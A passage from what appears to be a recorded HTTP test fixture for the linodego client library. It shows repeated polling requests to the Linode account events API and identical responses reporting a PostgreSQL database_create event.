Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:51:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:51:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:51:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:52:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:52:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:52:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:52:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:53:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:53:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:53:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:53:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:54:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:54:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:54:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:54:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:55:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:55:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:55:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 